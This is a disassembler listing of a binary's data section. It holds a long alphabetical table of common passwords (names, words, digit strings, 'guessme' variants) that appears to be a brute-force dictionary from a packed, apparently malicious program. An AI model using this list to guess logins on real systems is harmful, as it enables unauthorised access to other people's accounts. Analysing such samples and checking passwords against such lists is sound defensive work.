aHax0r		db 'hax0r',0            ; DATA XREF: .nsp0:0043A470o
		align 10h
aScript		db 'script',0           ; DATA XREF: .nsp0:0043A474o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: .nsp0:0043A478o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: .nsp0:0043A47Co
		align 10h
aMirc_4		db 'mirc',0             ; DATA XREF: .nsp0:0043A480o
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: .nsp0:0043A484o
		align 4
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: .nsp0:0043A488o
		align 4
aGuessme	db 'guessme',0          ; DATA XREF: .nsp0:0043A48Co
asc_43CC70:				; DATA XREF: .nsp0:0043A490o
		unicode	0, <x>,0
aXx_1		db 'xx',0               ; DATA XREF: .nsp0:0043A494o
		align 4
aXxx		db 'xxx',0              ; DATA XREF: .nsp0:0043A498o
aXxxx		db 'xxxx',0             ; DATA XREF: .nsp0:0043A49Co
		align 4
aXxxxx		db 'xxxxx',0            ; DATA XREF: .nsp0:0043A4A0o
		align 4
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: .nsp0:0043A4A4o
		align 4
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: .nsp0:0043A4A8o
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: .nsp0:0043A4ACo
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: .nsp0:0043A4B0o
		align 4
a0:					; DATA XREF: .nsp0:0043A4B4o
		unicode	0, <0>,0
a00		db '00',0               ; DATA XREF: .nsp0:0043A4B8o
		align 4
aDeath		db 'death',0            ; DATA XREF: .nsp0:0043A4BCo
		align 4
aTesting	db 'testing',0          ; DATA XREF: .nsp0:0043A4C0o
a000		db '000',0              ; DATA XREF: .nsp0:0043A4C4o
a0000		db '0000',0             ; DATA XREF: .nsp0:0043A4C8o
		align 4
a00000		db '00000',0            ; DATA XREF: .nsp0:0043A4CCo
		align 10h
a000000		db '000000',0           ; DATA XREF: .nsp0:0043A4D0o
		align 4
aAcademia	db 'academia',0         ; DATA XREF: .nsp0:0043A4D4o
		align 4
aAcademic	db 'academic',0         ; DATA XREF: .nsp0:0043A4D8o
		align 10h
aAccept_0	db 'accept',0           ; DATA XREF: .nsp0:0043A4DCo
		align 4
aAccount	db 'account',0          ; DATA XREF: .nsp0:0043A4E0o
aAction_0	db 'action',0           ; DATA XREF: .nsp0:0043A4E4o
		align 4
aAdam		db 'adam',0             ; DATA XREF: .nsp0:0043A4E8o
		align 10h
aAdrian		db 'adrian',0           ; DATA XREF: .nsp0:0043A4ECo
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: .nsp0:0043A4F0o
		align 4
aAdult		db 'adult',0            ; DATA XREF: .nsp0:0043A4F4o
		align 4
aAerobics	db 'aerobics',0         ; DATA XREF: .nsp0:0043A4F8o
		align 4
aAids		db 'aids',0             ; DATA XREF: .nsp0:0043A4FCo
		align 10h
aAirplane	db 'airplane',0         ; DATA XREF: .nsp0:0043A500o
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: .nsp0:0043A504o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: .nsp0:0043A508o
		align 4
aAlbatros	db 'albatros',0         ; DATA XREF: .nsp0:0043A50Co
		align 4
aAlbert		db 'albert',0           ; DATA XREF: .nsp0:0043A510o
		align 10h
aAlert		db 'alert',0            ; DATA XREF: .nsp0:0043A514o
		align 4
aAlex		db 'alex',0             ; DATA XREF: .nsp0:0043A518o
		align 10h
aAlexande	db 'alexande',0         ; DATA XREF: .nsp0:0043A51Co
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: .nsp0:0043A520o
aAlias		db 'alias',0            ; DATA XREF: .nsp0:0043A524o
		align 4
aAliases_0	db 'aliases',0          ; DATA XREF: .nsp0:0043A528o
aAlice		db 'alice',0            ; DATA XREF: .nsp0:0043A52Co
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: .nsp0:0043A530o
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: .nsp0:0043A534o
		align 4
aAlison		db 'alison',0           ; DATA XREF: .nsp0:0043A538o
		align 4
aAllison	db 'allison',0          ; DATA XREF: .nsp0:0043A53Co
aAllow		db 'allow',0            ; DATA XREF: .nsp0:0043A540o
		align 4
aAlphabet	db 'alphabet',0         ; DATA XREF: .nsp0:0043A544o
		align 10h
aAmadeus	db 'amadeus',0          ; DATA XREF: .nsp0:0043A548o
aAmanda		db 'amanda',0           ; DATA XREF: .nsp0:0043A54Co
		align 10h
aAmber		db 'amber',0            ; DATA XREF: .nsp0:0043A550o
		align 4
aAmerica_0	db 'america',0          ; DATA XREF: .nsp0:0043A554o
aAmorphou	db 'amorphou',0         ; DATA XREF: .nsp0:0043A558o
		align 4
aAnal		db 'anal',0             ; DATA XREF: .nsp0:0043A55Co
		align 4
aAnalog		db 'analog',0           ; DATA XREF: .nsp0:0043A560o
		align 4
aAnarchis	db 'anarchis',0         ; DATA XREF: .nsp0:0043A564o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: .nsp0:0043A568o
aAnchor		db 'anchor',0           ; DATA XREF: .nsp0:0043A56Co
		align 4
aAndrea		db 'andrea',0           ; DATA XREF: .nsp0:0043A570o
		align 10h
aAndroid	db 'android',0          ; DATA XREF: .nsp0:0043A574o
aAndromac	db 'andromac',0         ; DATA XREF: .nsp0:0043A578o
		align 4
aAndy		db 'andy',0             ; DATA XREF: .nsp0:0043A57Co
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: .nsp0:0043A580o
		align 4
aAngela		db 'angela',0           ; DATA XREF: .nsp0:0043A584o
		align 4
aAngerine	db 'angerine',0         ; DATA XREF: .nsp0:0043A588o
		align 4
aAngie		db 'angie',0            ; DATA XREF: .nsp0:0043A58Co
		align 10h
aAnimal		db 'animal',0           ; DATA XREF: .nsp0:0043A590o
		align 4
aAnimals	db 'animals',0          ; DATA XREF: .nsp0:0043A594o
aAnita		db 'anita',0            ; DATA XREF: .nsp0:0043A598o
		align 4
aAnna		db 'anna',0             ; DATA XREF: .nsp0:0043A59Co
		align 10h
aAnne		db 'anne',0             ; DATA XREF: .nsp0:0043A5A0o
		align 4
aAnnette	db 'annette',0          ; DATA XREF: .nsp0:0043A5A4o
aAnon		db 'anon',0             ; DATA XREF: .nsp0:0043A5A8o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: .nsp0:0043A5ACo
		align 4
aAnswer		db 'answer',0           ; DATA XREF: .nsp0:0043A5B0o
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: .nsp0:0043A5B4o
aAnthropo	db 'anthropo',0         ; DATA XREF: .nsp0:0043A5B8o
		align 10h
aAnvils		db 'anvils',0           ; DATA XREF: .nsp0:0043A5BCo
		align 4
aAnything	db 'anything',0         ; DATA XREF: .nsp0:0043A5C0o
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: .nsp0:0043A5C4o
		align 10h
aApril_0	db 'april',0            ; DATA XREF: .nsp0:0043A5C8o
		align 4
aAria		db 'aria',0             ; DATA XREF: .nsp0:0043A5CCo
		align 10h
aAriadne	db 'ariadne',0          ; DATA XREF: .nsp0:0043A5D0o
aArlene		db 'arlene',0           ; DATA XREF: .nsp0:0043A5D4o
		align 10h
aArmy		db 'army',0             ; DATA XREF: .nsp0:0043A5D8o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: .nsp0:0043A5DCo
		align 10h
aArthur		db 'arthur',0           ; DATA XREF: .nsp0:0043A5E0o
		align 4
aArtist		db 'artist',0           ; DATA XREF: .nsp0:0043A5E4o
		align 10h
aAsian		db 'asian',0            ; DATA XREF: .nsp0:0043A5E8o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: .nsp0:0043A5ECo
aAthena		db 'athena',0           ; DATA XREF: .nsp0:0043A5F0o
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: .nsp0:0043A5F4o
		align 4
aAtom		db 'atom',0             ; DATA XREF: .nsp0:0043A5F8o
		align 4
aAttack		db 'attack',0           ; DATA XREF: .nsp0:0043A5FCo
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: .nsp0:0043A600o
		align 10h
aAztecs		db 'aztecs',0           ; DATA XREF: .nsp0:0043A604o
		align 4
aAzure		db 'azure',0            ; DATA XREF: .nsp0:0043A608o
		align 10h
aBabe		db 'babe',0             ; DATA XREF: .nsp0:0043A60Co
		align 4
aBaby		db 'baby',0             ; DATA XREF: .nsp0:0043A610o
		align 10h
aBacchus	db 'bacchus',0          ; DATA XREF: .nsp0:0043A614o
aBackdoor	db 'backdoor',0         ; DATA XREF: .nsp0:0043A618o
		align 4
aBadass		db 'badass',0           ; DATA XREF: .nsp0:0043A61Co
		align 4
aBailey		db 'bailey',0           ; DATA XREF: .nsp0:0043A620o
		align 4
aBall		db 'ball',0             ; DATA XREF: .nsp0:0043A624o
		align 4
aBanana		db 'banana',0           ; DATA XREF: .nsp0:0043A628o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: .nsp0:0043A62Co
aBandit		db 'bandit',0           ; DATA XREF: .nsp0:0043A630o
		align 4
aBank		db 'bank',0             ; DATA XREF: .nsp0:0043A634o
		align 4
aBanks		db 'banks',0            ; DATA XREF: .nsp0:0043A638o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: .nsp0:0043A63Co
aBarber		db 'barber',0           ; DATA XREF: .nsp0:0043A640o
		align 4
aBare		db 'bare',0             ; DATA XREF: .nsp0:0043A644o
		align 4
aBarf		db 'barf',0             ; DATA XREF: .nsp0:0043A648o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: .nsp0:0043A64Co
		align 10h
aBart		db 'bart',0             ; DATA XREF: .nsp0:0043A650o
		align 4
aBartman	db 'bartman',0          ; DATA XREF: .nsp0:0043A654o
aBaseball	db 'baseball',0         ; DATA XREF: .nsp0:0043A658o
		align 4
aBasic		db 'basic',0            ; DATA XREF: .nsp0:0043A65Co
		align 4
aBass		db 'bass',0             ; DATA XREF: .nsp0:0043A660o
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: .nsp0:0043A664o
aBatch		db 'batch',0            ; DATA XREF: .nsp0:0043A668o
		align 4
aBatman		db 'batman',0           ; DATA XREF: .nsp0:0043A66Co
		align 4
aBeach		db 'beach',0            ; DATA XREF: .nsp0:0043A670o
		align 4
aBeammeup	db 'beammeup',0         ; DATA XREF: .nsp0:0043A674o
		align 4
aBear		db 'bear',0             ; DATA XREF: .nsp0:0043A678o
		align 10h
aBeast		db 'beast',0            ; DATA XREF: .nsp0:0043A67Co
		align 4
aBeater		db 'beater',0           ; DATA XREF: .nsp0:0043A680o
		align 10h
aBeauty		db 'beauty',0           ; DATA XREF: .nsp0:0043A684o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: .nsp0:0043A688o
		align 10h
aBecky		db 'becky',0            ; DATA XREF: .nsp0:0043A68Co
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: .nsp0:0043A690o
		align 4
aBegin		db 'begin',0            ; DATA XREF: .nsp0:0043A694o
		align 4
aBehead		db 'behead',0           ; DATA XREF: .nsp0:0043A698o
		align 4
aBell		db 'bell',0             ; DATA XREF: .nsp0:0043A69Co
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: .nsp0:0043A6A0o
aBenz		db 'benz',0             ; DATA XREF: .nsp0:0043A6A4o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: .nsp0:0043A6A8o
aBerkeley	db 'berkeley',0         ; DATA XREF: .nsp0:0043A6ACo
		align 10h
aBerlin		db 'berlin',0           ; DATA XREF: .nsp0:0043A6B0o
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: .nsp0:0043A6B4o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: .nsp0:0043A6B8o
		align 4
aBeta		db 'beta',0             ; DATA XREF: .nsp0:0043A6BCo
		align 4
aBeth		db 'beth',0             ; DATA XREF: .nsp0:0043A6C0o
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: .nsp0:0043A6C4o
		align 4
aBetty		db 'betty',0            ; DATA XREF: .nsp0:0043A6C8o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: .nsp0:0043A6CCo
aBible		db 'bible',0            ; DATA XREF: .nsp0:0043A6D0o
		align 4
aBicamera	db 'bicamera',0         ; DATA XREF: .nsp0:0043A6D4o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: .nsp0:0043A6D8o
aBill		db 'bill',0             ; DATA XREF: .nsp0:0043A6DCo
		align 4
aBinary		db 'binary',0           ; DATA XREF: .nsp0:0043A6E0o
		align 10h
aBios		db 'bios',0             ; DATA XREF: .nsp0:0043A6E4o
		align 4
aBird		db 'bird',0             ; DATA XREF: .nsp0:0043A6E8o
		align 10h
aBishop		db 'bishop',0           ; DATA XREF: .nsp0:0043A6ECo
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .nsp0:0043A6F0o
		align 10h
aBitmap		db 'bitmap',0           ; DATA XREF: .nsp0:0043A6F4o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: .nsp0:0043A6F8o
		align 10h
aBlack		db 'black',0            ; DATA XREF: .nsp0:0043A6FCo
		align 4
aBlonde		db 'blonde',0           ; DATA XREF: .nsp0:0043A700o
		align 10h
aBlondie	db 'blondie',0          ; DATA XREF: .nsp0:0043A704o
aBlood		db 'blood',0            ; DATA XREF: .nsp0:0043A708o
		align 10h
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: .nsp0:0043A70Co
		align 4
aBlow		db 'blow',0             ; DATA XREF: .nsp0:0043A710o
		align 4
aBlowjob	db 'blowjob',0          ; DATA XREF: .nsp0:0043A714o
aBlue		db 'blue',0             ; DATA XREF: .nsp0:0043A718o
		align 4
aBlues		db 'blues',0            ; DATA XREF: .nsp0:0043A71Co
		align 4
aBoard		db 'board',0            ; DATA XREF: .nsp0:0043A720o
		align 4
aBomb		db 'bomb',0             ; DATA XREF: .nsp0:0043A724o
		align 4
aBoner		db 'boner',0            ; DATA XREF: .nsp0:0043A728o
		align 4
aBoob		db 'boob',0             ; DATA XREF: .nsp0:0043A72Co
		align 4
aBoobs		db 'boobs',0            ; DATA XREF: .nsp0:0043A730o
		align 4
aBook		db 'book',0             ; DATA XREF: .nsp0:0043A734o
		align 4
aBorn		db 'born',0             ; DATA XREF: .nsp0:0043A738o
		align 4
aBoyscout	db 'boyscout',0         ; DATA XREF: .nsp0:0043A73Co
		align 10h
aBradley	db 'bradley',0          ; DATA XREF: .nsp0:0043A740o
aBrandi		db 'brandi',0           ; DATA XREF: .nsp0:0043A744o
		align 10h
aBrandy		db 'brandy',0           ; DATA XREF: .nsp0:0043A748o
		align 4
aBravo		db 'bravo',0            ; DATA XREF: .nsp0:0043A74Co
		align 10h
aBreak		db 'break',0            ; DATA XREF: .nsp0:0043A750o
		align 4
aBreast		db 'breast',0           ; DATA XREF: .nsp0:0043A754o
		align 10h
aBrenda		db 'brenda',0           ; DATA XREF: .nsp0:0043A758o
		align 4
aBrian		db 'brian',0            ; DATA XREF: .nsp0:0043A75Co
		align 10h
aBridget	db 'bridget',0          ; DATA XREF: .nsp0:0043A760o
aBroadway	db 'broadway',0         ; DATA XREF: .nsp0:0043A764o
		align 4
aBrothel	db 'brothel',0          ; DATA XREF: .nsp0:0043A768o
aBrunette	db 'brunette',0         ; DATA XREF: .nsp0:0043A76Co
		align 4
aBrute		db 'brute',0            ; DATA XREF: .nsp0:0043A770o
		align 10h
aBrutefor	db 'brutefor',0         ; DATA XREF: .nsp0:0043A774o
		align 4
aBulls		db 'bulls',0            ; DATA XREF: .nsp0:0043A778o
		align 4
aBullshit	db 'bullshit',0         ; DATA XREF: .nsp0:0043A77Co
		align 10h
aBumbling	db 'bumbling',0         ; DATA XREF: .nsp0:0043A780o
		align 4
aBung		db 'bung',0             ; DATA XREF: .nsp0:0043A784o
		align 4
aBurgess	db 'burgess',0          ; DATA XREF: .nsp0:0043A788o
aBurn		db 'burn',0             ; DATA XREF: .nsp0:0043A78Co
		align 4
aButch		db 'butch',0            ; DATA XREF: .nsp0:0043A790o
		align 4
aButt		db 'butt',0             ; DATA XREF: .nsp0:0043A794o
		align 4
aButthead	db 'butthead',0         ; DATA XREF: .nsp0:0043A798o
		align 10h
aCaliforn	db 'californ',0         ; DATA XREF: .nsp0:0043A79Co
		align 4
aCamille	db 'camille',0          ; DATA XREF: .nsp0:0043A7A0o
aCampanil	db 'campanil',0         ; DATA XREF: .nsp0:0043A7A4o
		align 10h
aCamping	db 'camping',0          ; DATA XREF: .nsp0:0043A7A8o
aCandi		db 'candi',0            ; DATA XREF: .nsp0:0043A7ACo
		align 10h
aCandy		db 'candy',0            ; DATA XREF: .nsp0:0043A7B0o
		align 4
aCantor		db 'cantor',0           ; DATA XREF: .nsp0:0043A7B4o
		align 10h
aCaptain	db 'captain',0          ; DATA XREF: .nsp0:0043A7B8o
aCapture	db 'capture',0          ; DATA XREF: .nsp0:0043A7BCo
aCard		db 'card',0             ; DATA XREF: .nsp0:0043A7C0o
		align 4
aCardinal	db 'cardinal',0         ; DATA XREF: .nsp0:0043A7C4o
		align 4
aCaren		db 'caren',0            ; DATA XREF: .nsp0:0043A7C8o
		align 4
aCarla		db 'carla',0            ; DATA XREF: .nsp0:0043A7CCo
		align 4
aCarmen		db 'carmen',0           ; DATA XREF: .nsp0:0043A7D0o
		align 4
aCarol		db 'carol',0            ; DATA XREF: .nsp0:0043A7D4o
		align 4
aCarole		db 'carole',0           ; DATA XREF: .nsp0:0043A7D8o
		align 4
aCarolina	db 'carolina',0         ; DATA XREF: .nsp0:0043A7DCo
		align 4
aCaroline	db 'caroline',0         ; DATA XREF: .nsp0:0043A7E0o
		align 4
aCarrie		db 'carrie',0           ; DATA XREF: .nsp0:0043A7E4o
		align 4
aCarson		db 'carson',0           ; DATA XREF: .nsp0:0043A7E8o
		align 4
aCascades	db 'cascades',0         ; DATA XREF: .nsp0:0043A7ECo
		align 10h
aCash		db 'cash',0             ; DATA XREF: .nsp0:0043A7F0o
		align 4
aCastle		db 'castle',0           ; DATA XREF: .nsp0:0043A7F4o
		align 10h
aCatherin	db 'catherin',0         ; DATA XREF: .nsp0:0043A7F8o
		align 4
aCatholic	db 'catholic',0         ; DATA XREF: .nsp0:0043A7FCo
		align 4
aCathy		db 'cathy',0            ; DATA XREF: .nsp0:0043A800o
		align 10h
aCave		db 'cave',0             ; DATA XREF: .nsp0:0043A804o
		align 4
aCayuga		db 'cayuga',0           ; DATA XREF: .nsp0:0043A808o
		align 10h
aCecily		db 'cecily',0           ; DATA XREF: .nsp0:0043A80Co
		align 4
aCelt		db 'celt',0             ; DATA XREF: .nsp0:0043A810o
		align 10h
aCeltic		db 'celtic',0           ; DATA XREF: .nsp0:0043A814o
		align 4
aCeltics	db 'celtics',0          ; DATA XREF: .nsp0:0043A818o
aCerulean	db 'cerulean',0         ; DATA XREF: .nsp0:0043A81Co
		align 4
aChange		db 'change',0           ; DATA XREF: .nsp0:0043A820o
		align 4
aCharity	db 'charity',0          ; DATA XREF: .nsp0:0043A824o
aCharles	db 'charles',0          ; DATA XREF: .nsp0:0043A828o
aCharlie	db 'charlie',0          ; DATA XREF: .nsp0:0043A82Co
aCharming	db 'charming',0         ; DATA XREF: .nsp0:0043A830o
		align 4
aCharon		db 'charon',0           ; DATA XREF: .nsp0:0043A834o
		align 10h
aChat		db 'chat',0             ; DATA XREF: .nsp0:0043A838o
		align 4
aChem		db 'chem',0             ; DATA XREF: .nsp0:0043A83Co
		align 10h
aChemistr	db 'chemistr',0         ; DATA XREF: .nsp0:0043A840o
		align 4
aChess		db 'chess',0            ; DATA XREF: .nsp0:0043A844o
		align 4
aChester	db 'chester',0          ; DATA XREF: .nsp0:0043A848o
aChip		db 'chip',0             ; DATA XREF: .nsp0:0043A84Co
		align 4
aChris		db 'chris',0            ; DATA XREF: .nsp0:0043A850o
		align 4
aChristin	db 'christin',0         ; DATA XREF: .nsp0:0043A854o
		align 4
aChristy	db 'christy',0          ; DATA XREF: .nsp0:0043A858o
aCigar		db 'cigar',0            ; DATA XREF: .nsp0:0043A85Co
		align 4
aCigarett	db 'cigarett',0         ; DATA XREF: .nsp0:0043A860o
		align 4
aCindy		db 'cindy',0            ; DATA XREF: .nsp0:0043A864o
		align 4
aClass		db 'class',0            ; DATA XREF: .nsp0:0043A868o
		align 4
aClasses	db 'classes',0          ; DATA XREF: .nsp0:0043A86Co
aClassic	db 'classic',0          ; DATA XREF: .nsp0:0043A870o
aClaudia	db 'claudia',0          ; DATA XREF: .nsp0:0043A874o
aClaymore	db 'claymore',0         ; DATA XREF: .nsp0:0043A878o
		align 4
aCleavage	db 'cleavage',0         ; DATA XREF: .nsp0:0043A87Co
		align 4
aClinton	db 'clinton',0          ; DATA XREF: .nsp0:0043A880o
aCluster	db 'cluster',0          ; DATA XREF: .nsp0:0043A884o
aClusters	db 'clusters',0         ; DATA XREF: .nsp0:0043A888o
		align 10h
aCoast		db 'coast',0            ; DATA XREF: .nsp0:0043A88Co
		align 4
aCocacola	db 'cocacola',0         ; DATA XREF: .nsp0:0043A890o
		align 4
aCocainco	db 'cocainco',0         ; DATA XREF: .nsp0:0043A894o
		align 10h
aCock		db 'cock',0             ; DATA XREF: .nsp0:0043A898o
		align 4
aCode		db 'code',0             ; DATA XREF: .nsp0:0043A89Co
		align 10h
aCodename	db 'codename',0         ; DATA XREF: .nsp0:0043A8A0o
		align 4
aCodeword	db 'codeword',0         ; DATA XREF: .nsp0:0043A8A4o
		align 4
aCoffee		db 'coffee',0           ; DATA XREF: .nsp0:0043A8A8o
		align 10h
aCoin		db 'coin',0             ; DATA XREF: .nsp0:0043A8ACo
		align 4
aCoke		db 'coke',0             ; DATA XREF: .nsp0:0043A8B0o
		align 10h
aCola		db 'cola',0             ; DATA XREF: .nsp0:0043A8B4o
		align 4
aCold		db 'cold',0             ; DATA XREF: .nsp0:0043A8B8o
		align 10h
aCollins	db 'collins',0          ; DATA XREF: .nsp0:0043A8BCo
aColor		db 'color',0            ; DATA XREF: .nsp0:0043A8C0o
		align 10h
aCombat		db 'combat',0           ; DATA XREF: .nsp0:0043A8C4o
		align 4
aComics		db 'comics',0           ; DATA XREF: .nsp0:0043A8C8o
		align 10h
aCommit		db 'commit',0           ; DATA XREF: .nsp0:0043A8CCo
		align 4
aCommrade	db 'commrade',0         ; DATA XREF: .nsp0:0043A8D0o
		align 4
aCompany	db 'company',0          ; DATA XREF: .nsp0:0043A8D4o
aComputin	db 'computin',0         ; DATA XREF: .nsp0:0043A8D8o
		align 4
aComrade	db 'comrade',0          ; DATA XREF: .nsp0:0043A8DCo
aComrades	db 'comrades',0         ; DATA XREF: .nsp0:0043A8E0o
		align 4
aCondo		db 'condo',0            ; DATA XREF: .nsp0:0043A8E4o
		align 4
aCondom		db 'condom',0           ; DATA XREF: .nsp0:0043A8E8o
		align 4
aConnect_0	db 'connect',0          ; DATA XREF: .nsp0:0043A8ECo
aConnie		db 'connie',0           ; DATA XREF: .nsp0:0043A8F0o
		align 4
aConserva	db 'conserva',0         ; DATA XREF: .nsp0:0043A8F4o
		align 4
aConsole	db 'console',0          ; DATA XREF: .nsp0:0043A8F8o
aContinue_0	db 'continue',0         ; DATA XREF: .nsp0:0043A8FCo
		align 4
aCook		db 'cook',0             ; DATA XREF: .nsp0:0043A900o
		align 4
aCookbook	db 'cookbook',0         ; DATA XREF: .nsp0:0043A904o
		align 10h
aCookie		db 'cookie',0           ; DATA XREF: .nsp0:0043A908o
		align 4
aCool		db 'cool',0             ; DATA XREF: .nsp0:0043A90Co
		align 10h
aCooper		db 'cooper',0           ; DATA XREF: .nsp0:0043A910o
		align 4
aCopper		db 'copper',0           ; DATA XREF: .nsp0:0043A914o
		align 10h
aCops		db 'cops',0             ; DATA XREF: .nsp0:0043A918o
		align 4
aCopy		db 'copy',0             ; DATA XREF: .nsp0:0043A91Co
		align 10h
aCorneliu	db 'corneliu',0         ; DATA XREF: .nsp0:0043A920o
		align 4
aCorrect	db 'correct',0          ; DATA XREF: .nsp0:0043A924o
aCounters	db 'counters',0         ; DATA XREF: .nsp0:0043A928o
		align 10h
aCountry	db 'country',0          ; DATA XREF: .nsp0:0043A92Co
aCouscous	db 'couscous',0         ; DATA XREF: .nsp0:0043A930o
		align 4
aCowboy		db 'cowboy',0           ; DATA XREF: .nsp0:0043A934o
		align 4
aCrack		db 'crack',0            ; DATA XREF: .nsp0:0043A938o
		align 4
aCrackpot	db 'crackpot',0         ; DATA XREF: .nsp0:0043A93Co
		align 10h
aCream		db 'cream',0            ; DATA XREF: .nsp0:0043A940o
		align 4
aCreate		db 'create',0           ; DATA XREF: .nsp0:0043A944o
		align 10h
aCreation	db 'creation',0         ; DATA XREF: .nsp0:0043A948o
		align 4
aCreature	db 'creature',0         ; DATA XREF: .nsp0:0043A94Co
		align 4
aCredit		db 'credit',0           ; DATA XREF: .nsp0:0043A950o
		align 10h
aCreosote	db 'creosote',0         ; DATA XREF: .nsp0:0043A954o
		align 4
aCretin		db 'cretin',0           ; DATA XREF: .nsp0:0043A958o
		align 4
aCrime		db 'crime',0            ; DATA XREF: .nsp0:0043A95Co
		align 4
aCriminal	db 'criminal',0         ; DATA XREF: .nsp0:0043A960o
		align 4
aCristina	db 'cristina',0         ; DATA XREF: .nsp0:0043A964o
		align 4
aCrystal	db 'crystal',0          ; DATA XREF: .nsp0:0043A968o
aCshrc		db 'cshrc',0            ; DATA XREF: .nsp0:0043A96Co
		align 4
aCunt		db 'cunt',0             ; DATA XREF: .nsp0:0043A970o
		align 4
aCustomer	db 'customer',0         ; DATA XREF: .nsp0:0043A974o
		align 4
aCyber		db 'cyber',0            ; DATA XREF: .nsp0:0043A978o
		align 10h
aCyberpun	db 'cyberpun',0         ; DATA XREF: .nsp0:0043A97Co
		align 4
aCyberspa	db 'cyberspa',0         ; DATA XREF: .nsp0:0043A980o
		align 4
aCynthia	db 'cynthia',0          ; DATA XREF: .nsp0:0043A984o
aDaemon		db 'daemon',0           ; DATA XREF: .nsp0:0043A988o
		align 4
aDaisy		db 'daisy',0            ; DATA XREF: .nsp0:0043A98Co
		align 10h
aDana		db 'dana',0             ; DATA XREF: .nsp0:0043A990o
		align 4
aDancer		db 'dancer',0           ; DATA XREF: .nsp0:0043A994o
		align 10h
aDaniel		db 'daniel',0           ; DATA XREF: .nsp0:0043A998o
		align 4
aDanielle	db 'danielle',0         ; DATA XREF: .nsp0:0043A99Co
		align 4
aDanny		db 'danny',0            ; DATA XREF: .nsp0:0043A9A0o
		align 4
aDapper		db 'dapper',0           ; DATA XREF: .nsp0:0043A9A4o
		align 4
aDark		db 'dark',0             ; DATA XREF: .nsp0:0043A9A8o
		align 4
aDarkaven	db 'darkaven',0         ; DATA XREF: .nsp0:0043A9ACo
		align 4
aData		db 'data',0             ; DATA XREF: .nsp0:0043A9B0o
		align 10h
aDave		db 'dave',0             ; DATA XREF: .nsp0:0043A9B4o
		align 4
aDawn		db 'dawn',0             ; DATA XREF: .nsp0:0043A9B8o
		align 10h
aDead		db 'dead',0             ; DATA XREF: .nsp0:0043A9BCo
		align 4
aDeathsta	db 'deathsta',0         ; DATA XREF: .nsp0:0043A9C0o
		align 4
aDebbie		db 'debbie',0           ; DATA XREF: .nsp0:0043A9C4o
		align 4
aDeborah	db 'deborah',0          ; DATA XREF: .nsp0:0043A9C8o
aDebug		db 'debug',0            ; DATA XREF: .nsp0:0043A9CCo
		align 4
aDecember	db 'december',0         ; DATA XREF: .nsp0:0043A9D0o
		align 4
aDeck		db 'deck',0             ; DATA XREF: .nsp0:0043A9D4o
		align 10h
aDefault_0	db 'default',0          ; DATA XREF: .nsp0:0043A9D8o
aDefault_1	db 'DEFAULT',0          ; DATA XREF: .nsp0:0043A9DCo
aDefoe		db 'defoe',0            ; DATA XREF: .nsp0:0043A9E0o
		align 4
aDelta		db 'delta',0            ; DATA XREF: .nsp0:0043A9E4o
		align 10h
aDeluge		db 'deluge',0           ; DATA XREF: .nsp0:0043A9E8o
		align 4
aDemocrat	db 'democrat',0         ; DATA XREF: .nsp0:0043A9ECo
		align 4
aDenise		db 'denise',0           ; DATA XREF: .nsp0:0043A9F0o
		align 4
aDennis		db 'dennis',0           ; DATA XREF: .nsp0:0043A9F4o
		align 4
aDesiree	db 'desiree',0          ; DATA XREF: .nsp0:0043A9F8o
aDesk		db 'desk',0             ; DATA XREF: .nsp0:0043A9FCo
		align 4
aDesktop	db 'desktop',0          ; DATA XREF: .nsp0:0043AA00o
aDesperat	db 'desperat',0         ; DATA XREF: .nsp0:0043AA04o
		align 4
aDevelop	db 'develop',0          ; DATA XREF: .nsp0:0043AA08o
aDevice		db 'device',0           ; DATA XREF: .nsp0:0043AA0Co
		align 4
aDial		db 'dial',0             ; DATA XREF: .nsp0:0043AA10o
		align 10h
aDiamond	db 'diamond',0          ; DATA XREF: .nsp0:0043AA14o
aDiana		db 'diana',0            ; DATA XREF: .nsp0:0043AA18o
		align 10h
aDiane		db 'diane',0            ; DATA XREF: .nsp0:0043AA1Co
		align 4
aDice		db 'dice',0             ; DATA XREF: .nsp0:0043AA20o
		align 10h
aDick		db 'dick',0             ; DATA XREF: .nsp0:0043AA24o
		align 4
aDiehard	db 'diehard',0          ; DATA XREF: .nsp0:0043AA28o
aDiet		db 'diet',0             ; DATA XREF: .nsp0:0043AA2Co
		align 4
aDieter		db 'dieter',0           ; DATA XREF: .nsp0:0043AA30o
		align 10h
aDigital	db 'digital',0          ; DATA XREF: .nsp0:0043AA34o
aDinosaur	db 'dinosaur',0         ; DATA XREF: .nsp0:0043AA38o
		align 4
